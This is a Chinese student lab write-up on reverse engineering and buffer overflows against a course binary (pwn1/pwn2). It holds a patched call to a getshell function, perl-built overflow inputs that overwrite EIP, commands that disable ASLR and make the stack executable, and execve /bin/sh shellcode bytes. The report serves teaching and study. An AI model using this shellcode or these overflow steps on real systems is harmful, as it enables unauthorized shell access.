20155216 实验一 逆向与Bof基础
实验一 逆向与Bof基础
一、直接修改程序机器指令,改变程序执行流程
使用 objdump -d pwn1
对pwn1文件进行反汇编。
可知main函数跳转至foo函数,先要使main函数跳转至getshell函数,即修改返回地址。
首先使用vi查看器查看pwn1文件,并使用 %!xxd
转换为十六进制查看:
利用 “:e8 d7”查找到需要修改的目标;
将“e8 d7”改为“e8 c3”。
使用 %!xxd -r
将文件转换回原文件,保存退出后,再次反汇编进行查看。
此时,main函数返回地址被修改至getshell函数。
二、通过构造输入参数,造成BOF攻击,改变程序执行流
先使用gdb对pwn2文件进行调试:
接下来对函数进行输入数据的测试,意图找到eip中存在4位数。
输入测试数据“1111111122222222333333334444444455555555”,并使用 info r
查看堆栈指令:
此时,eip中存放的是35353535,35是5的ascii码值。
再次输入测试数据“1111111122222222333333334444444412345678”,并使用 info r
查看:
此时eip中存放34333231,即4321。
使用 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
进行输入,再使用 xxd input
查看文件的十六进制:
三、注入Shellcode并执行
首先先做实验准备,先利用 apt-get install execstack
下载··execstack··。
输入命令:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
构造输入: perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
其中,\x4\x3\x2\x1为溢出到eip的部分,也就是要修改为shellcode的首地址。
输入 (cat input_shellcode;cat) | ./pwn2
,运行pwn2,然后打开顶一个终端,输入 ps -ef | grep pwn2
找到pwn2的进程号
利用进程号进入gdb调试:
输入 disassemble foo
查看foo的栈地址:
输入 break *0x080484a5
设置断点,并continue。
然后输入info r,查看栈的地址;
然后输入x/32x 0xffffd35c,并不断修改范围,寻找01020304;
之后在01020304的地址上加4,即d3 5c加4,使其覆盖之后的返回地址。
即填充 perl -e 'print "A" x 32;print "\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
指令。
至此,覆盖成功。
实验成功。
20155216 实验一 逆向与Bof基础的更多相关文章
- 20145237 实验一 逆向与Bof基础
20145237 实验一 逆向与Bof基础 1.直接修改程序机器指令,改变程序执行流程 此次实验是下载老师传给我们的一个名为pwn1的文件. 首先,用 objdump -d pwn1 对pwn1进行反 ...
- 网络对抗实验一 逆向及Bof基础实践
网络对抗实验一 逆向及Bof基础实践 一.实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ...
- 20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础
20155201 李卓雯 <网络对抗技术>实验一 逆向及Bof基础 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,f ...
- 20155210 实验一 逆向与Bof基础
20155210 实验一 逆向与Bof基础 实验内容 1.直接修改程序机器指令,改变程序执行流程 下载目标文件pwn1,反汇编 利用objdump -d pwn1对pwn1进行反汇编 得到: 8048 ...
- 20155222卢梓杰 实验一 逆向及Bof基础
实验一 逆向及Bof基础 1.实验对象为32位可执行文件pwn1,这个程序主要有main.foo.getshell这三个函数,其中foo函数功能为输出输入的字符串,getshell函数功能为打开一个s ...
- # 20155207王雪纯 实验一 逆向与Bof基础
20155207王雪纯 实验一 逆向与Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
- 20155235 《网络攻防》 实验一 逆向及Bof基础实践说明
20155235 <网络攻防> 实验一 逆向及Bof基础实践说明 实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 20145314郑凯杰《网络对抗技术》实验1 逆向及Bof基础实践
20145314郑凯杰<网络对抗技术>实验1 逆向及Bof基础实践 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数 ...
- 20145338 《网络对抗》逆向及Bof基础实验
逆向及Bof基础实验 实践目标 ·本次实践的对象是一个名为pwn1的linux可执行文件. ·该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ·该程序同时包含 ...
随机推荐
- 基于 WPF 平台的 ActiveReports Viewer控件
ActiveReports 报表控件致力于为组织和个人提供最出色的报表解决方案,多年来ActiveReports已经提供了 Windows Forms.Web.Silverlight和Flash平台的 ...
- 快速了解Vuex
提要:提起react就会想起其应用最广泛的redux状态管理工具,vue中的官方推荐的状态管理工具就是Vuex. 看到同事在鼓捣Vuex的东西,前面项目完成后也没有好好总结一下Vuex的知识,所有就再 ...
- python类的内置方法
1,__init__(self) 初始化方法,实例化一个对象的时候就会被执行 2,__call__(self,*args) 把实例对象作为函数调用,即实例化一个对象后,在对象后面加括号即可调用__ca ...
- SQL Server 2012 列存储索引分析(转载)
一.概述 列存储索引是SQL Server 2012中为提高数据查询的性能而引入的一个新特性,顾名思义,数据以列的方式存储在页中,不同于聚集索引.非聚集索引及堆表等以行为单位的方式存储.因为它并不要求 ...
- 注意Sqlserver中使用with(nolock)后实际上还是会加架构锁,只是不对要查询的数据加S锁而已(转载)
开发人员喜欢在SQL脚本中使用WITH(NOLOCK), WITH(NOLOCK)其实是表提示(table_hint)中的一种.它等同于 READUNCOMMITTED . 具体的功能作用如下所示(摘 ...
- 三种方法实现java调用Restful接口
1,基本介绍 Restful接口的调用,前端一般使用ajax调用,后端可以使用的方法比较多, 本次介绍三种: 1.HttpURLConnection实现 2.HttpClient实现 3.Spring ...
- ssh中文手册
ssh-keygen 中文手册 sshd_config 中文手册 sshd 中文手册
- LINUX使用extundelete进行数据恢复
从删库到跑路不是一句笑话,不小心误删除操作很容易造成整个公司业务崩溃.所以真的误删除了,第一时间就是赶紧停机,不要再进行任何写入操作,把这块磁盘挂载到其他机器进行数据恢复 这里我们介绍一下使用 LIN ...
- 转:js小技巧 ,将彻底屏蔽鼠标右键,可用于Table ,取消选取、防止复制,IE地址栏前换成自己的图标
1. oncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键<table border oncontextmenu= ...
- Java重要类详解之ArrayList类
https://blog.csdn.net/shengmingqijiquan/article/details/52634640 一.ArrayList概述 ArrayList 是一个数组队列,相当于 ...